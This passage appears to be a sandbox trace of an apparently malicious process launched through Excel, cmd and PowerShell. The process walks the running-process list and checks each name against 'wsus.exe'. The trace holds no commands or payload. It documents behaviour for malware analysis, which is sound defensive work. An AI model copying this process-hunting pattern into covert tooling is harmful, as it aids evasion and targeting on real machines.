th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x1dc, pcPriClassBase=8, dwFlags=0x0, szExeFile="OSPPSVC.EXE")) returned 1 [0073.836] lstrcmpA (lpString1="OSPPSVC.EXE", lpString2="wsus.exe") returned -1 [0073.836] Process32Next (in: hSnapshot=0x118, lppe=0x18f190 | out: lppe=0x18f190*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0x998, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x16, th32ParentProcessID=0x82c, pcPriClassBase=8, dwFlags=0x0, szExeFile="MSOSYNC.EXE")) returned 1 [0073.836] lstrcmpA (lpString1="MSOSYNC.EXE", lpString2="wsus.exe") returned -1 [0073.836] Process32Next (in: hSnapshot=0x118, lppe=0x18f190 | out: lppe=0x18f190*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0xb04, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x1dc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0073.837] lstrcmpA (lpString1="svchost.exe", lpString2="wsus.exe") returned -1 [0073.837] Process32Next (in: hSnapshot=0x118, lppe=0x18f190 | out: lppe=0x18f190*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0xb94, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x82c, pcPriClassBase=8, dwFlags=0x0, szExeFile="cmd.exe")) returned 1 [0073.837] lstrcmpA (lpString1="cmd.exe", lpString2="wsus.exe") returned -1 [0073.837] Process32Next (in: hSnapshot=0x118, lppe=0x18f190 | out: lppe=0x18f190*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0xb60, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x184, pcPriClassBase=8, dwFlags=0x0, szExeFile="conhost.exe")) returned 1 [0073.838] lstrcmpA (lpString1="conhost.exe", lpString2="wsus.exe") returned -1 [0073.838] Process32Next (in: hSnapshot=0x118, lppe=0x18f190 | out: lppe=0x18f190*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0x9e4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0xb94, pcPriClassBase=8, dwFlags=0x0, szExeFile="powershell.exe")) returned 1 [0073.838] lstrcmpA (lpString1="powershell.exe", lpString2="wsus.exe") returned -1 [0073.838] Process32Next (in: hSnapshot=0x118, lppe=0x18f190 | out: lppe=0x18f190*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0x814, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x9e4, pcPriClassBase=8, dwFlags=0x0, szExeFile="cmd_.exe")) returned 1 [0073.839] lstrcmpA (lpString1="cmd_.exe", lpString2="wsus.exe") returned -1 [0073.839] Process32Next (in: hSnapshot=0x118, lppe=0x18f190 | out: lppe=0x18f190*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0xbf0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x334, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskeng.exe")) returned 1 [0073.839] lstrcmpA (lpString1="taskeng.exe", lpString2="wsus.exe") returned -1 [0073.839] Process32Next (in: hSnapshot=0x118, lppe=0x18f190 | out: lppe=0x18f190*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0xb84, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x814, pcPriClassBase=8, dwFlags=0x0, szExeFile="cmd.exe")) returned 1 [0073.840] lstrcmpA (lpString1="cmd.exe", lpString2="wsus.exe") returned -1 [0073.840] Process32Next (in: hSnapshot=0x118, lppe=0x18f190 | out: lppe=0x18f190*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0x898, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x184, pcPriClassBase=8, dwFlags=0x0, szExeFile="conhost.exe")) returned 1 [0073.886] lstrcmpA (lpString1="conhost.exe", lpString2="wsus.exe") returned -1 [0073.886] Process32Next (in: hSnapshot=0x118, lppe=0x18f190 | out: lppe=0x18f190*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0xb7c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x814, pcPriClassBase=8, dwFlags=0x0, szExeFile="cmd.exe")) returned 1 [0073.886] lstrcmpA (lpString1="cmd.exe", lpString2="wsus.exe") returned -1 [0073.886] Process32Next (in: hSnapshot=0x118, lppe=0x18f190 | out: lppe=0x18f190*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0x944, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x184, pcPriClassBase=8, dwFlags=0x0, szExeFile="conhost.exe")) returned 1 [0073.887] lstrcmpA (lpString1="conhost.exe", lpString2="wsus.exe") returned -1 [0073.887] Process32Next (in: hSnapshot=0x118, lppe=0x18f190 | out: lppe=0x18f190*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0xbac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x814, pcPriClassBase=8, dwFlags=0x0, szExeFile="cmd.exe")) returned 1 [0073.888] lstrcmpA (lpString1="cmd.exe", lpString2="wsus.exe") returned -1 [0073.888] Process32Next (in: hSnapshot=0x118, lppe=0x18f190 | out: lppe=0x18f190*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0xb9c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x184, pcPriClassBase=8, dwFlags=0x0, szExeFile="conhost.exe")) returned 1 [0073.888] lstrcmpA (lpString1="conhost.exe", lpString2="wsus.exe") returned -1 [0073.888] Process32Next (in: hSnapshot=0x118, lppe=0x18f190 | out: lppe=0x18f190*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0xbc0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x814, pcPriClassBase=8, dwFlags=0x0, szExeFile="cmd.exe")) returned 1 [0073.889] lstrcmpA (lpString1="cmd.exe", lpString2="wsus.exe") returned -1 [0073.889] Process32Next (in: hSnapshot=0x118, lppe=0x18f190 | out: lppe=0x18f190*(dwSize=0x128, cntUsage=0x730075, th32ProcessID=0x65002e, th32DefaultHeapID=0x650078, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x814, pcPriClassBase=8, dwFlags=0x0, szExeFile="cmd.exe")) returned 0 [0073.889] CloseHandle (hObject=0x118) returned 1 [0073.889] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x118 [0073.891] Process32First (in: hSnapshot=0x118, lppe=0x18f18c | out: lppe=0x18f18c*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0073.891] lstrcmpA (lpString1="[System Process]", lpString2="wsus.exe") returned -1 [0073.891] Process32Next (in: hSnapshot=0x118, lppe=0x18f18c | out: lppe=0x18f18c*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0x4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x54, th32ParentProcessID=0x0, pcPriClassBase=8, dwFlags=0x0, szExeFile="System")) returned 1 [0073.892] lstrcmpA (lpString1="System", lpString2="wsus.exe") returned -1 [0073.892] Process32Next (in: hSnapshot=0x118, lppe=0x18f18c | out: lppe=0x18f18c*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0x104, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x4, pcPriClassBase=11, dwFlags=0x0, szExeFile="smss.exe")) returned 1 [0073.892] lstrcmpA (lpString1="smss.exe", lpString2="wsus.exe") returned -1 [0073.892] Process32Next (in: hSnapshot=0x118, lppe=0x18f18c | out: lppe=0x18f18c*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0x148, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x140, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0073.893] lstrcmpA (lpString1="csrss.exe", lpString2="wsus.exe") returned -1 [0073.893] Process32Next (in: hSnapshot=0x118, lppe=0x18f18c | out: lppe=0x18f18c*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0x178, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x140, pcPriClassBase=13, dwFlags=0x0, szExeFile="wininit.exe")) returned 1 [0073.893] lstrcmpA (lpString1="wininit.exe", lpString2="wsus.exe") returned -1 [0073.893] Process32Next (in: hSnapshot=0x118, lppe=0x18f18c | out: lppe=0x18f18c*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0x184, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x170, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0073.894] lstrcmpA (lpString1="csrss.exe", lpString2="wsus.exe") returned -1 [0073.894] Process32Next (in: hSnapshot=0x118, lppe=0x18f18c | out: lppe=0x18f18c*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0x1b0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x170, pcPriClassBase=13, dwFlags=0x0, szExeFile="winlogon.exe")) returned 1 [0073.894] lstrcmpA (lpString1="winlogon.exe", lpString2="wsus.exe") returned -1 [0073.894] Process32Next (in: hSnapshot=0x118, lppe=0x18f18c | out: lppe=0x18f18c*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0x1dc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x11, th32ParentProcessID=0x178, pcPriClassBase=9, dwFlags=0x0, szExeFile="services.exe")) returned 1 [0073.895] lstrcmpA (lpString1="services.exe", lpString2="wsus.exe") returned -1 [0073.895] Process32Next (in: hSnapshot=0x118, lppe=0x18f18c | out: lppe=0x18f18c*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0x1e4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x178, pcPriClassBase=9, dwFlags=0x0, szExeFile="lsass.exe")) returned 1 [0073.895] lstrcmpA (lpString1="lsass.exe", lpString2="wsus.exe") returned -1 [0073.895] Process32Next (in: hSnapshot=0x118, lppe=0x18f18c | out: lppe=0x18f18c*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0x1ec, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x178, pcPriClassBase=8, dwFlags=0x0, szExeFile="lsm.exe")) returned 1 [0073.896] lstrcmpA (lpString1="lsm.exe", lpString2="wsus.exe") returned -1 [0073.896] Process32Next (in: hSnapshot=0x118, lppe=0x18f18c | out: lppe=0x18f18c*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0x254, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x1dc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0073.896] lstrcmpA (lpString1="svchost.exe", lpString2="wsus.exe") returned -1 [0073.896] Process32Next (in: hSnapshot=0x118, lppe=0x18f18c | out: lppe=0x18f18c*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0x294, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xd, th32ParentProcessID=0x1dc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0073.897] lstrcmpA (lpString1="svchost.exe", lpString2="wsus.exe") returned -1 [0073.897] Process32Next (in: hSnapshot=0x118, lppe=0x18f18c | out: lppe=0x18f18c*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0x2c8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x17, th32ParentProcessID=0x1dc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0073.897] lstrcmpA (lpString1="svchost.exe", lpString2="wsus.exe") returned -1 [0073.897] Process32Next (in: hSnapshot=0x118, lppe=0x18f18c | out: lppe=0x18f18c*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0x318, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x16, th32ParentProcessID=0x1dc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0073.898] lstrcmpA (lpString1="svchost.exe", lpString2="wsus.exe") returned -1 [0073.898] Process32Next (in: hSnapshot=0x118, lppe=0x18f18c | out: lppe=0x18f18c*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0x334, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2c, th32ParentProcessID=0x1dc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0073.898] lstrcmpA (lpString1="svchost.exe", lpString2="wsus.exe") returned -1 [0073.898] Process32Next (in: hSnapshot=0x118, lppe=0x18f18c | out: lppe=0x18f18c*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0x3f4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xf, th32ParentProcessID=0x1dc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0073.899] lstrcmpA (lpString1="svchost.exe", lpString2="wsus.exe") returned -1 [0073.899] Process32Next (in: hSnapshot=0x118, lppe=0x18f18c | out: lppe=0x18f18c*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0x124, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x12, th32ParentProcessID=0x1dc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0073.899] lstrcmpA (lpString1="svchost.exe", lpString2="wsus.exe") returned -1 [0073.899] Process32Next (in: hSnapshot=0x118, lppe=0x18f18c | out: lppe=0x18f18c*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0x44c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x10, th32ParentProcessID=0x1dc, pcPriClassBase=8, dwFlags=0x0, szExeFile="spoolsv.exe")) returned 1 [0073.900] lstrcmpA (lpString1="spoolsv.exe", lpString2="wsus.exe") returned -1 [0073.900] Process32Next (in: hSnapshot=0x118, lppe=0x18f18c | out: lppe=0x18f18c*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0x470, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x1dc, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskhost.exe")) returned 1 [0073.900] lstrcmpA (lpString1="taskhost.exe", lpString2="wsus.exe") returned -1 [0073.900] Process32Next (in: hSnapshot=0x118, lppe=0x18f18c | out: lppe=0x18f18c*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0x484, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x16, th32ParentProcessID=0x1dc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0073.900] lstrcmpA (lpString1="svchost.exe", lpString2="wsus.exe") returned -1 [0073.900] Process32Next (in: hSnapshot=0x118, lppe=0x18f18c | out: lppe=0x18f18c*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0x4b0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x334, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskeng.exe")) returned 1 [0073.901] lstrcmpA (lpString1="taskeng.exe", lpString2="wsus.exe") returned -1 [0073.901] Process32Next (in: hSnapshot=0x118, lppe=0x18f18c | out: lppe=0x18f18c*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0x6e0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x1dc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0073.901] lstrcmpA (lpString1="svchost.exe", lpString2="wsus.exe") returned -1 [0073.901] Process32Next (in: hSnapshot=0x118, lppe=0x18f18c | out: lppe=0x18f18c*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0x7b8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x254, pcPriClassBase=8, dwFlags=0x0, szExeFile="WmiPrvSE.exe")) returned 1 [0073.902] lstrcmpA (lpString1="WmiPrvSE.exe", lpString2="wsus.exe") returned -1 [0073.902] Process32Next (in: hSnapshot=0x118, lppe=0x18f18c | out: lppe=0x18f18c*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0x61c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x1dc, pcPriClassBase=8, dwFlags=0x0, szExeFile="sppsvc.exe")) returned 1 [0073.902] lstrcmpA (lpString1="sppsvc.exe", lpString2="wsus.exe") returned -1 [0073.902] Process32Next (in: hSnapshot=0x118, lppe=0x18f18c | out: lppe=0x18f18c*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0x328, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x318, pcPriClassBase=8, dwFlags=0x0, szExeFile="dwm.exe")) returned 1 [0073.903] lstrcmpA (lpString1="dwm.exe", lpString2="wsus.exe") returned -1 [0073.903] Process32Next (in: hSnapshot=0x118, lppe=0x18f18c | out: lppe=0x18f18c*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0x5d8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1d, th32ParentProcessID=0x414, pcPriClassBase=8, dwFlags=0x0, szExeFile="explorer.exe")) returned 1 [0073.903] lstrcmpA (lpString1="explorer.exe", lpString2="wsus.exe") returned -1 [0073.903] Process32Next (in: hSnapshot=0x118, lppe=0x18f18c | out: lppe=0x18f18c*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0x158, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x2c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="audiodg.exe")) returned 1 [0073.904] lstrcmpA (lpString1="audiodg.exe", lpString2="wsus.exe") returned -1 [0073.904] Process32Next (in: hSnapshot=0x118, lppe=0x18f18c | out: lppe=0x18f18c*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0x548, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x10, th32ParentProcessID=0x1dc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0073.904] lstrcmpA (lpString1="svchost.exe", lpString2="wsus.exe") returned -1 [0073.904] Process32Next (in: hSnapshot=0x118, lppe=0x18f18c | out: lppe=0x18f18c*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0x878, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x254, pcPriClassBase=8, dwFlags=0x0, szExeFile="WmiPrvSE.exe")) returned 1 [0073.905] lstrcmpA (lpString1="WmiPrvSE.exe", lpString2="wsus.exe") returned -1 [0073.905] Process32Next (in: hSnapshot=0x118, lppe=0x18f18c | out: lppe=0x18f18c*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0x954, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x1dc, pcPriClassBase=6, dwFlags=0x0, szExeFile="taskhost.exe")) returned 1 [0073.905] lstrcmpA (lpString1="taskhost.exe", lpString2="wsus.exe") returned -1 [0073.905] Process32Next (in: hSnapshot=0x118, lppe=0x18f18c | out: lppe=0x18f18c*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0xa28, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x5d8, pcPriClassBase=8, dwFlags=0x0, szExeFile="ghana-reaction.exe")) returned 1 [0073.906] lstrcmpA (lpString1="ghana-reaction.exe", lpString2="wsus.exe") returned -1 [0073.906] Process32Next (in: hSnapshot=0x118, lppe=0x18f18c | out: lppe=0x18f18c*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0xa38, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x5d8, pcPriClassBase=8, dwFlags=0x0, szExeFile="survive recipes.exe")) returned 1 [0073.906] lstrcmpA (lpString1="survive recipes.exe", lpString2="wsus.exe") returned -1 [0073.906] Process32Next (in: hSnapshot=0x118, lppe=0x18f18c | out: lppe=0x18f18c*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0xa48, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x5d8, pcPriClassBase=8, dwFlags=0x0, szExeFile="wiley listprice immigration mn.exe")) returned 1 [0073.907] lstrcmpA (lpString1="wiley listprice immigration mn.exe", lpString2="wsus.exe") returned -1 [0073.907] Process32Next (in: hSnapshot=0x118, lppe=0x18f18c | out: lppe=0x18f18c*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0xa58, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x5d8, pcPriClassBase=8, dwFlags=0x0, szExeFile="temp la various.exe")) returned 1 [0073.907] lstrcmpA (lpString1="temp la various.exe", lpString2="wsus.exe") returned -1 [0073.907] Process32Next (in: hSnapshot=0x118, lppe=0x18f18c | out: lppe=0x18f18c*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0xa68, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x5d8, pcPriClassBase=8, dwFlags=0x0, szExeFile="metropolitan storm.exe")) returned 1 [0073.908] lstrcmpA (lpString1="metropolitan storm.exe", lpString2="wsus.exe") returned -1 [0073.908] Process32Next (in: hSnapshot=0x118, lppe=0x18f18c | out: lppe=0x18f18c*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0xa78, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x5d8, pcPriClassBase=8, dwFlags=0x0, szExeFile="thats-viewing-llc.exe")) returned 1 [0073.908] lstrcmpA (lpString1="thats-viewing-llc.exe", lpString2="wsus.exe") returned -1 [0073.908] Process32Next (in: hSnapshot=0x118, lppe=0x18f18c | out: lppe=0x18f18c*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0xa88, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x5d8, pcPriClassBase=8, dwFlags=0x0, szExeFile="houses.exe")) returned 1 [0073.908] lstrcmpA (lpString1="houses.exe", lpString2="wsus.exe") returned -1 [0073.909] Process32Next (in: hSnapshot=0x118, lppe=0x18f18c | out: lppe=0x18f18c*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0xa98, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x5d8, pcPriClassBase=8, dwFlags=0x0, szExeFile="renewal.exe")) returned 1 [0073.909] lstrcmpA (lpString1="renewal.exe", lpString2="wsus.exe") returned -1 [0073.909] Process32Next (in: hSnapshot=0x118, lppe=0x18f18c | out: lppe=0x18f18c*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0xaa8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x5d8, pcPriClassBase=8, dwFlags=0x0, szExeFile="zones transferred trainers.exe")) returned 1 [0073.909] lstrcmpA (lpString1="zones transferred trainers.exe", lpString2="wsus.exe") returned 1 [0073.909] Process32Next (in: hSnapshot=0x118, lppe=0x18f18c | out: lppe=0x18f18c*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0xab8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x5d8, pcPriClassBase=8, dwFlags=0x0, szExeFile="courses ham.exe")) returned 1 [0073.910] lstrcmpA (lpString1="courses ham.exe", lpString2="wsus.exe") returned -1 [0073.910] Process32Next (in: hSnapshot=0x118, lppe=0x18f18c | out: lppe=0x18f18c*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0xac8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x5d8, pcPriClassBase=8, dwFlags=0x0, szExeFile="canon.exe")) returned 1 [0073.910] lstrcmpA (lpString1="canon.exe", lpString2="wsus.exe") returned -1 [0073.910] Process32Next (in: hSnapshot=0x118, lppe=0x18f18c | out: lppe=0x18f18c*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0xad8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x5d8, pcPriClassBase=8, dwFlags=0x0, szExeFile="fairlysettingoperational.exe")) returned 1 [0073.911] lstrcmpA (lpString1="fairlysettingoperational.exe", lpString2="wsus.exe") returned -1 [0073.911] Process32Next (in: hSnapshot=0x118, lppe=0x18f18c | out: lppe=0x18f18c*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0xae8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x5d8, pcPriClassBase=8, dwFlags=0x0, szExeFile="claimed desk.exe")) returned 1 [0073.911] lstrcmpA (lpString1="claimed desk.exe", lpString2="wsus.exe") returned -1 [0073.911] Process32Next (in: hSnapshot=0x118, lppe=0x18f18c | out: lppe=0x18f18c*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0xaf8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x5d8, pcPriClassBase=8, dwFlags=0x0, szExeFile="mel_ds_cancelled.exe")) returned 1 [0073.912] lstrcmpA (lpString1="mel_ds_cancelled.exe", lpString2="wsus.exe") returned -1 [0073.912] Process32Next (in: hSnapshot=0x118, lppe=0x18f18c | out: lppe=0x18f18c*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0xb08, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x5d8, pcPriClassBase=8, dwFlags=0x0, szExeFile="appears_li_pressed_h.exe")) returned 1 [0073.912] lstrcmpA (lpString1="appears_li_pressed_h.exe", lpString2="wsus.exe") returned -1 [0073.912] Process32Next (in: hSnapshot=0x118, lppe=0x18f18c | out: lppe=0x18f18c*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0xb18, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x5d8, pcPriClassBase=8, dwFlags=0x0, szExeFile="quite-consumer-opera.exe")) returned 1 [0073.913] lstrcmpA (lpString1="quite-consumer-opera.exe", lpString2="wsus.exe") returned -1 [0073.913] Process32Next (in: hSnapshot=0x118, lppe=0x18f18c | out: lppe=0x18f18c*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0xb28, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x5d8, pcPriClassBase=8, dwFlags=0x0, szExeFile="tile-conflict-specializing-authentic.exe")) returned 1 [0073.913] lstrcmpA (lpString1="tile-conflict-specializing-authentic.exe", lpString2="wsus.exe") returned -1 [0073.913] Process32Next (in: hSnapshot=0x118, lppe=0x18f18c | out: lppe=0x18f18c*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0xb3c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x5d8, pcPriClassBase=8, dwFlags=0x0, szExeFile="unlimited breakdown.exe")) returned 1 [0073.914] lstrcmpA (lpString1="unlimited breakdown.exe", lpString2="wsus.exe") returned -1 [0073.914] Process32Next (in: hSnapshot=0x118, lppe=0x18f18c | out: lppe=0x18f18c*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0xb4c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x5d8, pcPriClassBase=8, dwFlags=0x0, szExeFile="aluminiumglmessagesymptoms.exe")) returned 1 [0073.914] lstrcmpA (lpString1="aluminiumglmessagesymptoms.exe", lpString2="wsus.exe") returned -1 [0073.914] Process32Next (in: hSnapshot=0x118, lppe=0x18f18c | out: lppe=0x18f18c*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0x82c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x23, th32ParentProcessID=0x5d8, pcPriClassBase=8, dwFlags=0x0, szExeFile="EXCEL.EXE")) returned 1 [0073.915] lstrcmpA (lpString1="EXCEL.EXE", lpString2="wsus.exe") returned -1 [0073.915] Process32Next (in: hSnapshot=0x118, lppe=0x18f18c | out: lppe=0x18f18c*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0x748, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x1dc, pcPriClassBase=8, dwFlags=0x0, szExeFile="OSPPSVC.EXE")) returned 1 [0073.915] lstrcmpA (lpString1="OSPPSVC.EXE", lpString2="wsus.exe") returned -1 [0073.915] Process32Next (in: hSnapshot=0x118, lppe=0x18f18c | out: lppe=0x18f18c*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0x998, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x16, th32ParentProcessID=0x82c, pcPriClassBase=8, dwFlags=0x0, szExeFile="MSOSYNC.EXE")) returned 1 [0073.915] lstrcmpA (lpString1="MSOSYNC.EXE", lpString2="wsus.exe") returned -1 [0073.916] Process32Next (in: hSnapshot=0x118, lppe=0x18f18c | out: 